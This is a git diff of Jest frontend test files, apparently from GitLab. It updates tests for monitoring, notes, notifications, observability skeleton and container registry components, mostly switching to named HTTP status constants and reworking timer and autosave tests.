diff --git a/spec/frontend/monitoring/store/actions_spec.js b/spec/frontend/monitoring/store/actions_spec.js
index 93af6526c67..fbe030b1a7d 100644
--- a/spec/frontend/monitoring/store/actions_spec.js
+++ b/spec/frontend/monitoring/store/actions_spec.js
@@ -4,8 +4,10 @@ import testAction from 'helpers/vuex_action_helper';
import { createAlert } from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as commonUtils from '~/lib/utils/common_utils';
-import statusCodes, {
+import {
+ HTTP_STATUS_BAD_REQUEST,
HTTP_STATUS_CREATED,
+ HTTP_STATUS_OK,
HTTP_STATUS_UNPROCESSABLE_ENTITY,
} from '~/lib/utils/http_status';
import { ENVIRONMENT_AVAILABLE_STATE } from '~/monitoring/constants';
@@ -983,7 +985,7 @@ describe('Monitoring store actions', () => {
});
it('Failed POST request throws an error', async () => {
- mock.onPost(state.dashboardsEndpoint).reply(statusCodes.BAD_REQUEST);
+ mock.onPost(state.dashboardsEndpoint).reply(HTTP_STATUS_BAD_REQUEST);
await expect(testAction(duplicateSystemDashboard, {}, state, [], [])).rejects.toEqual(
'There was an error creating the dashboard.',
@@ -994,7 +996,7 @@ describe('Monitoring store actions', () => {
it('Failed POST request throws an error with a description', async () => {
const backendErrorMsg = 'This file already exists!';
- mock.onPost(state.dashboardsEndpoint).reply(statusCodes.BAD_REQUEST, {
+ mock.onPost(state.dashboardsEndpoint).reply(HTTP_STATUS_BAD_REQUEST, {
error: backendErrorMsg,
});
@@ -1116,7 +1118,7 @@ describe('Monitoring store actions', () => {
mock
.onPost(panelPreviewEndpoint, { panel_yaml: mockYmlContent })
- .reply(statusCodes.OK, mockPanel);
+ .reply(HTTP_STATUS_OK, mockPanel);
testAction(
fetchPanelPreview,
diff --git a/spec/frontend/monitoring/store/mutations_spec.js b/spec/frontend/monitoring/store/mutations_spec.js
index 49e8ab9ebd4..3baef743f42 100644
--- a/spec/frontend/monitoring/store/mutations_spec.js
+++ b/spec/frontend/monitoring/store/mutations_spec.js
@@ -1,5 +1,4 @@
-import httpStatusCodes from '~/lib/utils/http_status';
-
+import { HTTP_STATUS_BAD_REQUEST, HTTP_STATUS_SERVICE_UNAVAILABLE } from '~/lib/utils/http_status';
import { dashboardEmptyStates, metricStates } from '~/monitoring/constants';
import * as types from '~/monitoring/stores/mutation_types';
import mutations from '~/monitoring/stores/mutations';
@@ -318,7 +317,7 @@ describe('Monitoring mutations', () => {
metricId,
error: {
response: {
- status: httpStatusCodes.SERVICE_UNAVAILABLE,
+ status: HTTP_STATUS_SERVICE_UNAVAILABLE,
},
},
});
@@ -336,7 +335,7 @@ describe('Monitoring mutations', () => {
metricId,
error: {
response: {
- status: httpStatusCodes.BAD_REQUEST,
+ status: HTTP_STATUS_BAD_REQUEST,
},
},
});
diff --git a/spec/frontend/nav/components/new_nav_toggle_spec.js b/spec/frontend/nav/components/new_nav_toggle_spec.js
index f09bdef8caa..ee75dfb70e4 100644
--- a/spec/frontend/nav/components/new_nav_toggle_spec.js
+++ b/spec/frontend/nav/components/new_nav_toggle_spec.js
@@ -14,6 +14,8 @@ jest.mock('~/flash');
const TEST_ENDPONT = 'https://example.com/toggle';
describe('NewNavToggle', () => {
+ useMockLocationHelper();
+
let wrapper;
const findToggle = () => wrapper.findComponent(GlToggle);
@@ -59,18 +61,22 @@ describe('NewNavToggle', () => {
});
});
- describe('changing the toggle', () => {
- useMockLocationHelper();
+ describe.each`
+ desc | actFn
+ ${'when toggle button is clicked'} | ${() => findToggle().trigger('click')}
+ ${'when menu item text is clicked'} | ${() => getByText('New navigation').trigger('click')}
+ `('$desc', ({ actFn }) => {
let mock;
beforeEach(() => {
mock = new MockAdapter(axios);
- createComponent();
+ createComponent({ enabled: false });
});
it('reloads the page on success', async () => {
mock.onPut(TEST_ENDPONT).reply(200);
- findToggle().vm.$emit('change');
+
+ actFn();
await waitForPromises();
expect(window.location.reload).toHaveBeenCalled();
@@ -78,7 +84,8 @@ describe('NewNavToggle', () => {
it('shows an alert on error', async () => {
mock.onPut(TEST_ENDPONT).reply(500);
- findToggle().vm.$emit('change');
+
+ actFn();
await waitForPromises();
expect(createAlert).toHaveBeenCalledWith(
@@ -91,6 +98,12 @@ describe('NewNavToggle', () => {
expect(window.location.reload).not.toHaveBeenCalled();
});
+ it('changes the toggle', async () => {
+ await actFn();
+
+ expect(findToggle().props('value')).toBe(true);
+ });
+
afterEach(() => {
mock.restore();
});
diff --git a/spec/frontend/notes/components/comment_form_spec.js b/spec/frontend/notes/components/comment_form_spec.js
index 701ff492702..e13985ef469 100644
--- a/spec/frontend/notes/components/comment_form_spec.js
+++ b/spec/frontend/notes/components/comment_form_spec.js
@@ -5,6 +5,7 @@ import MockAdapter from 'axios-mock-adapter';
import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import Autosave from '~/autosave';
import batchComments from '~/batch_comments/stores/modules/batch_comments';
import { refreshUserMergeRequestCounts } from '~/commons/nav/user_merge_requests';
import { createAlert } from '~/flash';
@@ -20,6 +21,7 @@ import { loggedOutnoteableData, notesDataMock, userDataMock, noteableDataMock }
jest.mock('autosize');
jest.mock('~/commons/nav/user_merge_requests');
jest.mock('~/flash');
+jest.mock('~/autosave');
Vue.use(Vuex);
@@ -336,8 +338,11 @@ describe('issue_comment_form component', () => {
});
it('inits autosave', () => {
- expect(wrapper.vm.autosave).toBeDefined();
- expect(wrapper.vm.autosave.key).toBe(`autosave/Note/Issue/${noteableDataMock.id}`);
+ expect(Autosave).toHaveBeenCalledWith(expect.any(Element), [
+ 'Note',
+ 'Issue',
+ noteableDataMock.id,
+ ]);
});
});
diff --git a/spec/frontend/notes/components/note_body_spec.js b/spec/frontend/notes/components/note_body_spec.js
index 3b5313744ff..c71cf7666ab 100644
--- a/spec/frontend/notes/components/note_body_spec.js
+++ b/spec/frontend/notes/components/note_body_spec.js
@@ -7,11 +7,14 @@ import NoteAwardsList from '~/notes/components/note_awards_list.vue';
import NoteForm from '~/notes/components/note_form.vue';
import createStore from '~/notes/stores';
import notes from '~/notes/stores/modules/index';
+import Autosave from '~/autosave';
import Suggestions from '~/vue_shared/components/markdown/suggestions.vue';
import { noteableDataMock, notesDataMock, note } from '../mock_data';
+jest.mock('~/autosave');
+
const createComponent = ({
props = {},
noteableData = noteableDataMock,
@@ -84,13 +87,8 @@ describe('issue_note_body component', () => {
});
it('adds autosave', () => {
- const autosaveKey = `autosave/Note/${note.noteable_type}/${note.id}`;
-
- // While we discourage testing wrapper props
- // here we aren't testing a component prop
- // but instead an instance object property
- // which is defined in `app/assets/javascripts/notes/mixins/autosave.js`
- expect(wrapper.vm.autosave.key).toEqual(autosaveKey);
+ // passing undefined instead of an element because of shallowMount
+ expect(Autosave).toHaveBeenCalledWith(undefined, ['Note', note.noteable_type, note.id]);
});
describe('isInternalNote', () => {
diff --git a/spec/frontend/notes/stores/actions_spec.js b/spec/frontend/notes/stores/actions_spec.js
index dce2e5d370d..0b2623f3d77 100644
--- a/spec/frontend/notes/stores/actions_spec.js
+++ b/spec/frontend/notes/stores/actions_spec.js
@@ -1442,7 +1442,7 @@ describe('Actions Notes Store', () => {
return testAction(
actions.fetchDiscussions,
{},
- { noteableType: notesConstants.MERGE_REQUEST_NOTEABLE_TYPE },
+ { noteableType: notesConstants.EPIC_NOTEABLE_TYPE },
[
{ type: mutationTypes.ADD_OR_UPDATE_DISCUSSIONS, payload: { discussion } },
{ type: mutationTypes.SET_FETCHING_DISCUSSIONS, payload: false },
@@ -1472,9 +1472,7 @@ describe('Actions Notes Store', () => {
);
});
- it('dispatches `fetchDiscussionsBatch` action if `paginatedMrDiscussions` feature flag is enabled', () => {
- window.gon = { features: { paginatedMrDiscussions: true } };
-
+ it('dispatches `fetchDiscussionsBatch` action if noteable is a MergeRequest', () => {
return testAction(
actions.fetchDiscussions,
{ path: 'test-path', filter: 'test-filter', persistFilter: 'test-persist-filter' },
diff --git a/spec/frontend/notifications/components/custom_notifications_modal_spec.js b/spec/frontend/notifications/components/custom_notifications_modal_spec.js
index cd04adac72d..70749557e61 100644
--- a/spec/frontend/notifications/components/custom_notifications_modal_spec.js
+++ b/spec/frontend/notifications/components/custom_notifications_modal_spec.js
@@ -5,7 +5,7 @@ import MockAdapter from 'axios-mock-adapter';
import { nextTick } from 'vue';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_NOT_FOUND, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import CustomNotificationsModal from '~/notifications/components/custom_notifications_modal.vue';
import { i18n } from '~/notifications/constants';
@@ -138,7 +138,7 @@ describe('CustomNotificationsModal', () => {
mockAxios
.onGet(endpointUrl)
- .reply(httpStatus.OK, mockNotificationSettingsResponses.default);
+ .reply(HTTP_STATUS_OK, mockNotificationSettingsResponses.default);
wrapper = createComponent({ injectedProperties });
@@ -155,7 +155,7 @@ describe('CustomNotificationsModal', () => {
mockAxios
.onGet(endpointUrl)
- .reply(httpStatus.OK, mockNotificationSettingsResponses.default);
+ .reply(HTTP_STATUS_OK, mockNotificationSettingsResponses.default);
wrapper = createComponent();
@@ -173,7 +173,7 @@ describe('CustomNotificationsModal', () => {
});
it('shows a toast message when the request fails', async () => {
- mockAxios.onGet('/api/v4/notification_settings').reply(httpStatus.NOT_FOUND, {});
+ mockAxios.onGet('/api/v4/notification_settings').reply(HTTP_STATUS_NOT_FOUND, {});
wrapper = createComponent();
wrapper.findComponent(GlModal).vm.$emit('show');
@@ -201,11 +201,11 @@ describe('CustomNotificationsModal', () => {
async ({ projectId, groupId, endpointUrl }) => {
mockAxios
.onGet(endpointUrl)
- .reply(httpStatus.OK, mockNotificationSettingsResponses.default);
+ .reply(HTTP_STATUS_OK, mockNotificationSettingsResponses.default);
mockAxios
.onPut(endpointUrl)
- .reply(httpStatus.OK, mockNotificationSettingsResponses.updated);
+ .reply(HTTP_STATUS_OK, mockNotificationSettingsResponses.updated);
const injectedProperties = {
projectId,
@@ -241,7 +241,7 @@ describe('CustomNotificationsModal', () => {
);
it('shows a toast message when the request fails', async () => {
- mockAxios.onPut('/api/v4/notification_settings').reply(httpStatus.NOT_FOUND, {});
+ mockAxios.onPut('/api/v4/notification_settings').reply(HTTP_STATUS_NOT_FOUND, {});
wrapper = createComponent();
// setData usage is discouraged. See https://gitlab.com/groups/gitlab-org/-/epics/7330 for details
diff --git a/spec/frontend/notifications/components/notification_email_listbox_input_spec.js b/spec/frontend/notifications/components/notification_email_listbox_input_spec.js
new file mode 100644
index 00000000000..c490c737cf1
--- /dev/null
+++ b/spec/frontend/notifications/components/notification_email_listbox_input_spec.js
@@ -0,0 +1,81 @@
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import ListboxInput from '~/vue_shared/components/listbox_input/listbox_input.vue';
+import NotificationEmailListboxInput from '~/notifications/components/notification_email_listbox_input.vue';
+
+describe('NotificationEmailListboxInput', () => {
+ let wrapper;
+
+ // Props
+ const label = 'label';
+ const name = 'name';
+ const emails = ['test@gitlab.com'];
+ const emptyValueText = 'emptyValueText';
+ const value = 'value';
+ const disabled = false;
+
+ // Finders
+ const findListboxInput = () => wrapper.findComponent(ListboxInput);
+
+ const createComponent = (attachTo) => {
+ wrapper = shallowMount(NotificationEmailListboxInput, {
+ provide: {
+ label,
+ name,
+ emails,
+ emptyValueText,
+ value,
+ disabled,
+ },
+ attachTo,
+ });
+ };
+
+ describe('props', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it.each`
+ propName | propValue
+ ${'label'} | ${label}
+ ${'name'} | ${name}
+ ${'selected'} | ${value}
+ ${'disabled'} | ${disabled}
+ `('passes the $propName prop to ListboxInput', ({ propName, propValue }) => {
+ expect(findListboxInput().props(propName)).toBe(propValue);
+ });
+
+ it('passes the options to ListboxInput', () => {
+ expect(findListboxInput().props('items')).toStrictEqual([
+ { text: emptyValueText, value: '' },
+ { text: emails[0], value: emails[0] },
+ ]);
+ });
+ });
+
+ describe('form', () => {
+ let form;
+
+ beforeEach(() => {
+ form = document.createElement('form');
+ const root = document.createElement('div');
+ form.appendChild(root);
+ createComponent(root);
+ });
+
+ afterEach(() => {
+ form = null;
+ });
+
+ it('submits the parent form when the value changes', async () => {
+ jest.spyOn(form, 'submit');
+ expect(form.submit).not.toHaveBeenCalled();
+
+ findListboxInput().vm.$emit('select');
+ await nextTick();
+
+ expect(form.submit).toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/notifications/components/notifications_dropdown_spec.js b/spec/frontend/notifications/components/notifications_dropdown_spec.js
index 7a98b374095..0f13de0e6d8 100644
--- a/spec/frontend/notifications/components/notifications_dropdown_spec.js
+++ b/spec/frontend/notifications/components/notifications_dropdown_spec.js
@@ -4,7 +4,7 @@ import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import waitForPromises from 'helpers/wait_for_promises';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_NOT_FOUND, HTTP_STATUS_OK } from '~/lib/utils/http_status';
import CustomNotificationsModal from '~/notifications/components/custom_notifications_modal.vue';
import NotificationsDropdown from '~/notifications/components/notifications_dropdown.vue';
import NotificationsDropdownItem from '~/notifications/components/notifications_dropdown_item.vue';
@@ -98,7 +98,7 @@ describe('NotificationsDropdown', () => {
it('opens the modal when the user clicks the button', async () => {
jest.spyOn(axios, 'put');
- mockAxios.onPut('/api/v4/notification_settings').reply(httpStatus.OK, {});
+ mockAxios.onPut('/api/v4/notification_settings').reply(HTTP_STATUS_OK, {});
wrapper = createComponent({
initialNotificationLevel: 'custom',
@@ -233,7 +233,7 @@ describe('NotificationsDropdown', () => {
);
it('updates the selectedNotificationLevel and marks the item with a checkmark', async () => {
- mockAxios.onPut('/api/v4/notification_settings').reply(httpStatus.OK, {});
+ mockAxios.onPut('/api/v4/notification_settings').reply(HTTP_STATUS_OK, {});
wrapper = createComponent();
const dropdownItem = findDropdownItemAt(1);
@@ -245,7 +245,7 @@ describe('NotificationsDropdown', () => {
});
it("won't update the selectedNotificationLevel and shows a toast message when the request fails and", async () => {
- mockAxios.onPut('/api/v4/notification_settings').reply(httpStatus.NOT_FOUND, {});
+ mockAxios.onPut('/api/v4/notification_settings').reply(HTTP_STATUS_NOT_FOUND, {});
wrapper = createComponent();
await clickDropdownItemAt(1);
@@ -257,7 +257,7 @@ describe('NotificationsDropdown', () => {
});
it('opens the modal when the user clicks on the "Custom" dropdown item', async () => {
- mockAxios.onPut('/api/v4/notification_settings').reply(httpStatus.OK, {});
+ mockAxios.onPut('/api/v4/notification_settings').reply(HTTP_STATUS_OK, {});
wrapper = createComponent();
await clickDropdownItemAt(5);
diff --git a/spec/frontend/observability/observability_app_spec.js b/spec/frontend/observability/observability_app_spec.js
index 248b0a2057c..e3bcd140d60 100644
--- a/spec/frontend/observability/observability_app_spec.js
+++ b/spec/frontend/observability/observability_app_spec.js
@@ -2,11 +2,7 @@ import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import ObservabilityApp from '~/observability/components/observability_app.vue';
import ObservabilitySkeleton from '~/observability/components/skeleton/index.vue';
-import {
- MESSAGE_EVENT_TYPE,
- OBSERVABILITY_ROUTES,
- SKELETON_VARIANT,
-} from '~/observability/constants';
+import { MESSAGE_EVENT_TYPE, SKELETON_VARIANTS_BY_ROUTE } from '~/observability/constants';
import { darkModeEnabled } from '~/lib/utils/color_utils';
@@ -20,6 +16,7 @@ describe('Observability root app', () => {
};
const $route = {
pathname: 'https://gitlab.com/gitlab-org/',
+ path: 'https://gitlab.com/gitlab-org/-/observability/dashboards',
query: { otherQuery: 100 },
};
@@ -29,6 +26,10 @@ describe('Observability root app', () => {
const TEST_IFRAME_SRC = 'https://observe.gitlab.com/9970/?groupId=14485840';
+ const OBSERVABILITY_ROUTES = Object.keys(SKELETON_VARIANTS_BY_ROUTE);
+
+ const SKELETON_VARIANTS = Object.values(SKELETON_VARIANTS_BY_ROUTE);
+
const mountComponent = (route = $route) => {
wrapper = shallowMountExtended(ObservabilityApp, {
propsData: {
@@ -139,9 +140,9 @@ describe('Observability root app', () => {
describe('on GOUI_LOADED', () => {
beforeEach(() => {
mountComponent();
- wrapper.vm.$refs.iframeSkeleton.handleSkeleton = mockHandleSkeleton;
+ wrapper.vm.$refs.observabilitySkeleton.onContentLoaded = mockHandleSkeleton;
});
- it('should call handleSkeleton method', () => {
+ it('should call onContentLoaded method', () => {
dispatchMessageEvent({
data: { type: MESSAGE_EVENT_TYPE.GOUI_LOADED },
origin: 'https://observe.gitlab.com',
@@ -149,7 +150,7 @@ describe('Observability root app', () => {
expect(mockHandleSkeleton).toHaveBeenCalled();
});
- it('should not call handleSkeleton method if origin is different', () => {
+ it('should not call onContentLoaded method if origin is different', () => {
dispatchMessageEvent({
data: { type: MESSAGE_EVENT_TYPE.GOUI_LOADED },
origin: 'https://example.com',
@@ -157,7 +158,7 @@ describe('Observability root app', () => {
expect(mockHandleSkeleton).not.toHaveBeenCalled();
});
- it('should not call handleSkeleton method if event type is different', () => {
+ it('should not call onContentLoaded method if event type is different', () => {
dispatchMessageEvent({
data: { type: 'UNKNOWN_EVENT' },
origin: 'https://observe.gitlab.com',
@@ -168,11 +169,11 @@ describe('Observability root app', () => {
describe('skeleton variant', () => {
it.each`
- pathDescription | path | variant
- ${'dashboards'} | ${OBSERVABILITY_ROUTES.DASHBOARDS} | ${SKELETON_VARIANT.DASHBOARDS}
- ${'explore'} | ${OBSERVABILITY_ROUTES.EXPLORE} | ${SKELETON_VARIANT.EXPLORE}
- ${'manage dashboards'} | ${OBSERVABILITY_ROUTES.MANAGE} | ${SKELETON_VARIANT.MANAGE}
- ${'any other'} | ${'unknown/route'} | ${SKELETON_VARIANT.DASHBOARDS}
+ pathDescription | path | variant
+ ${'dashboards'} | ${OBSERVABILITY_ROUTES[0]} | ${SKELETON_VARIANTS[0]}
+ ${'explore'} | ${OBSERVABILITY_ROUTES[1]} | ${SKELETON_VARIANTS[1]}
+ ${'manage dashboards'} | ${OBSERVABILITY_ROUTES[2]} | ${SKELETON_VARIANTS[2]}
+ ${'any other'} | ${'unknown/route'} | ${SKELETON_VARIANTS[0]}
`('renders the $variant skeleton variant for $pathDescription path', ({ path, variant }) => {
mountComponent({ ...$route, path });
const props = wrapper.findComponent(ObservabilitySkeleton).props();
diff --git a/spec/frontend/observability/skeleton_spec.js b/spec/frontend/observability/skeleton_spec.js
index 5637c0e6d70..a95597d8516 100644
--- a/spec/frontend/observability/skeleton_spec.js
+++ b/spec/frontend/observability/skeleton_spec.js
@@ -1,96 +1,127 @@
-import { GlSkeletonLoader } from '@gitlab/ui';
+import { nextTick } from 'vue';
+import { GlSkeletonLoader, GlAlert } from '@gitlab/ui';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
-import ObservabilitySkeleton from '~/observability/components/skeleton/index.vue';
+import Skeleton from '~/observability/components/skeleton/index.vue';
import DashboardsSkeleton from '~/observability/components/skeleton/dashboards.vue';
import ExploreSkeleton from '~/observability/components/skeleton/explore.vue';
import ManageSkeleton from '~/observability/components/skeleton/manage.vue';
-import { SKELETON_VARIANT } from '~/observability/constants';
+import { SKELETON_VARIANTS_BY_ROUTE, DEFAULT_TIMERS } from '~/observability/constants';
-describe('ObservabilitySkeleton component', () => {
+describe('Skeleton component', () => {
let wrapper;
+ const SKELETON_VARIANTS = Object.values(SKELETON_VARIANTS_BY_ROUTE);
+
+ const findContentWrapper = () => wrapper.findByTestId('observability-wrapper');
+
+ const findExploreSkeleton = () => wrapper.findComponent(ExploreSkeleton);
+
+ const findDashboardsSkeleton = () => wrapper.findComponent(DashboardsSkeleton);
+
+ const findManageSkeleton = () => wrapper.findComponent(ManageSkeleton);
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+
const mountComponent = ({ ...props } = {}) => {
- wrapper = shallowMountExtended(ObservabilitySkeleton, {
+ wrapper = shallowMountExtended(Skeleton, {
propsData: props,
});
};
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
describe('on mount', () => {
beforeEach(() => {
- jest.spyOn(global, 'setTimeout');
- mountComponent();
+ mountComponent({ variant: 'explore' });
});
- it('should call setTimeout on mount and show ObservabilitySkeleton if Observability UI is not loaded yet', () => {
- jest.runAllTimers();
+ describe('loading timers', () => {
+ it('show Skeleton if content is not loaded within CONTENT_WAIT_MS', async () => {
+ expect(findExploreSkeleton().exists()).toBe(false);
+ expect(findContentWrapper().isVisible()).toBe(false);
- expect(setTimeout).toHaveBeenCalledWith(expect.any(Function), 500);
- expect(wrapper.vm.loading).toBe(true);
- expect(wrapper.vm.timerId).not.toBeNull();
- });
+ jest.advanceTimersByTime(DEFAULT_TIMERS.CONTENT_WAIT_MS);
- it('should call setTimeout on mount and dont show ObservabilitySkeleton if Observability UI is loaded', () => {
- wrapper.vm.loading = false;
- jest.runAllTimers();
+ await nextTick();
- expect(setTimeout).toHaveBeenCalledWith(expect.any(Function), 500);
- expect(wrapper.vm.loading).toBe(false);
- expect(wrapper.vm.timerId).not.toBeNull();
- });
- });
+ expect(findExploreSkeleton().exists()).toBe(true);
+ expect(findContentWrapper().isVisible()).toBe(false);
+ });
- describe('handleSkeleton', () => {
- it('will not show the skeleton if Observability UI is loaded before', () => {
- jest.spyOn(global, 'clearTimeout');
- mountComponent();
- wrapper.vm.handleSkeleton();
- expect(clearTimeout).toHaveBeenCalledWith(wrapper.vm.timerId);
+ it('does not show the skeleton if content has loaded within CONTENT_WAIT_MS', async () => {
+ expect(findExploreSkeleton().exists()).toBe(false);
+ expect(findContentWrapper().isVisible()).toBe(false);
+
+ wrapper.vm.onContentLoaded();
+
+ await nextTick();
+
+ expect(findContentWrapper().isVisible()).toBe(true);
+ expect(findExploreSkeleton().exists()).toBe(false);
+
+ jest.advanceTimersByTime(DEFAULT_TIMERS.CONTENT_WAIT_MS);
+
+ await nextTick();
+
+ expect(findContentWrapper().isVisible()).toBe(true);
+ expect(findExploreSkeleton().exists()).toBe(false);
+ });
});
- it('will hide skeleton gracefully after 400ms if skeleton was present on screen before Observability UI', () => {
- jest.spyOn(global, 'setTimeout');
- mountComponent();
- jest.runAllTimers();
- wrapper.vm.handleSkeleton();
- jest.runAllTimers();
+ describe('error timeout', () => {
+ it('shows the error dialog if content has not loaded within TIMEOUT_MS', async () => {
+ expect(findAlert().exists()).toBe(false);
+ jest.advanceTimersByTime(DEFAULT_TIMERS.TIMEOUT_MS);
+
+ await nextTick();
+
+ expect(findAlert().exists()).toBe(true);
+ expect(findContentWrapper().isVisible()).toBe(false);
+ });
+
+ it('does not show the error dialog if content has loaded within TIMEOUT_MS', async () => {
+ wrapper.vm.onContentLoaded();
+ jest.advanceTimersByTime(DEFAULT_TIMERS.TIMEOUT_MS);
- expect(setTimeout).toHaveBeenCalledWith(wrapper.vm.hideSkeleton, 400);
- expect(wrapper.vm.loading).toBe(false);
+ await nextTick();
+
+ expect(findAlert().exists()).toBe(false);
+ expect(findContentWrapper().isVisible()).toBe(true);
+ });
});
});
describe('skeleton variant', () => {
it.each`
skeletonType | condition | variant
- ${'dashboards'} | ${'variant is dashboards'} | ${SKELETON_VARIANT.DASHBOARDS}
- ${'explore'} | ${'variant is explore'} | ${SKELETON_VARIANT.EXPLORE}
- ${'manage'} | ${'variant is manage'} | ${SKELETON_VARIANT.MANAGE}
+ ${'dashboards'} | ${'variant is dashboards'} | ${SKELETON_VARIANTS[0]}
+ ${'explore'} | ${'variant is explore'} | ${SKELETON_VARIANTS[1]}
+ ${'manage'} | ${'variant is manage'} | ${SKELETON_VARIANTS[2]}
${'default'} | ${'variant is not manage, dashboards or explore'} | ${'unknown'}
`('should render $skeletonType skeleton if $condition', async ({ skeletonType, variant }) => {
mountComponent({ variant });
- const showsDefaultSkeleton = ![
- SKELETON_VARIANT.DASHBOARDS,
- SKELETON_VARIANT.EXPLORE,
- SKELETON_VARIANT.MANAGE,
- ].includes(variant);
- expect(wrapper.findComponent(DashboardsSkeleton).exists()).toBe(
- skeletonType === SKELETON_VARIANT.DASHBOARDS,
- );
- expect(wrapper.findComponent(ExploreSkeleton).exists()).toBe(
- skeletonType === SKELETON_VARIANT.EXPLORE,
- );
- expect(wrapper.findComponent(ManageSkeleton).exists()).toBe(
- skeletonType === SKELETON_VARIANT.MANAGE,
- );
+ jest.advanceTimersByTime(DEFAULT_TIMERS.CONTENT_WAIT_MS);
+ await nextTick();
+ const showsDefaultSkeleton = !SKELETON_VARIANTS.includes(variant);
+
+ expect(findDashboardsSkeleton().exists()).toBe(skeletonType === SKELETON_VARIANTS[0]);
+ expect(findExploreSkeleton().exists()).toBe(skeletonType === SKELETON_VARIANTS[1]);
+ expect(findManageSkeleton().exists()).toBe(skeletonType === SKELETON_VARIANTS[2]);
expect(wrapper.findComponent(GlSkeletonLoader).exists()).toBe(showsDefaultSkeleton);
});
});
+
+ describe('on destroy', () => {
+ it('should clear init timer and timeout timer', () => {
+ jest.spyOn(global, 'clearTimeout');
+ mountComponent();
+ wrapper.destroy();
+ expect(clearTimeout).toHaveBeenCalledTimes(2);
+ expect(clearTimeout.mock.calls).toEqual([
+ [wrapper.vm.loadingTimeout], // First call
+ [wrapper.vm.errorTimeout], // Second call
+ ]);
+ });
+ });
});
diff --git a/spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row_spec.js b/spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row_spec.js
index 96c670eaad2..fa0d76762df 100644
--- a/spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row_spec.js
+++ b/spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row_spec.js
@@ -335,10 +335,10 @@ describe('tags list row', () => {
});
describe.each`
- name | finderFunction | text | icon | clipboard
- ${'published date detail'} | ${findPublishedDateDetail} | ${'Published to the gitlab-org/gitlab-test/rails-12009 image repository at 01:29 UTC on 2020-11-03'} | ${'clock'} | ${false}
- ${'manifest detail'} | ${findManifestDetail} | ${'Manifest digest: sha256:2cf3d2fdac1b04a14301d47d51cb88dcd26714c74f91440eeee99ce399089062'} | ${'log'} | ${true}
- ${'configuration detail'} | ${findConfigurationDetail} | ${'Configuration digest: sha256:c2613843ab33aabf847965442b13a8b55a56ae28837ce182627c0716eb08c02b'} | ${'cloud-gear'} | ${true}
+ name | finderFunction | text | icon | clipboard
+ ${'published date detail'} | ${findPublishedDateDetail} | ${'Published to the gitlab-org/gitlab-test/rails-12009 image repository at 13:29:38 UTC on 2020-11-03'} | ${'clock'} | ${false}
+ ${'manifest detail'} | ${findManifestDetail} | ${'Manifest digest: sha256:2cf3d2fdac1b04a14301d47d51cb88dcd26714c74f91440eeee99ce399089062'} | ${'log'} | ${true}
+ ${'configuration detail'} | ${findConfigurationDetail} | ${'Configuration digest: sha256:c2613843ab33aabf847965442b13a8b55a56ae28837ce182627c0716eb08c02b'} | ${'cloud-gear'} | ${true}
`('$name details row', ({ finderFunction, text, icon, clipboard }) => {
it(`has ${text} as text`, async () => {
mountComponent();
diff --git a/spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/image_list_row_spec.js b/spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/image_list_row_spec.js
index 7da91c4af96..75068591007 100644
--- a/spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/image_list_row_spec.js
+++ b/spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/image_list_row_spec.js
@@ -1,6 +1,6 @@
import { GlIcon, GlSprintf, GlSkeletonLoader, GlButton } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import { createMockDirective } from 'helpers/vue_mock_directive';
import { mockTracking } from 'helpers/tracking_helper';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import DeleteButton from '~/packages_and_registries/container_registry/explorer/components/delete_button.vue';
@@ -59,31 +59,6 @@ describe('Image List Row', () => {
wrapper = null;
});
- describe('list item component', () => {
- describe('tooltip', () => {
- it(`the title is ${ROW_SCHEDULED_FOR_DELETION}`, () => {
- mountComponent();
-
- const tooltip = getBinding(wrapper.element, 'gl-tooltip');
- expect(tooltip).toBeDefined();
- expect(tooltip.value.title).toBe(ROW_SCHEDULED_FOR_DELETION);
- });
-
- it('is disabled when item is being deleted', () => {
- mountComponent({ item: { ...item, status: IMAGE_DELETE_SCHEDULED_STATUS } });
-
- const tooltip = getBinding(wrapper.element, 'gl-tooltip');
- expect(tooltip.value.disabled).toBe(false);
- });
- });
-
- it('is disabled when the item is in deleting status', () => {
- mountComponent({ item: { ...item, status: IMAGE_DELETE_SCHEDULED_STATUS } });
-
- expect(findListItemComponent().props('disabled')).toBe(true);
- });
- });
-
describe('image title and path', () => {
it('renders shortened name of image and contains a link to the details page', () => {
mountComponent();
@@ -158,10 +133,22 @@ describe('Image List Row', () => {
mountComponent({ item: { ...item, status: IMAGE_DELETE_SCHEDULED_STATUS } });
});
- it('the router link is disabled', () => {
- // we check the event prop as is the only workaround to disable a router link
- expect(findDetailsLink().props('event')).toBe('');
+ it('the router link does not exist', () => {
+ expect(findDetailsLink().exists()).toBe(false);
+ });
+
+ it('image name exists', () => {
+ expect(findListItemComponent().text()).toContain('gitlab-test/rails-12009');
+ });
+
+ it(`contains secondary text ${ROW_SCHEDULED_FOR_DELETION}`, () => {
+ expect(findListItemComponent().text()).toContain(ROW_SCHEDULED_FOR_DELETION);
});
+
+ it('the tags count does not exist', () => {
+ expect(findTagsCount().exists()).toBe(false);
+ });
+
it('the clipboard button is disabled', () => {
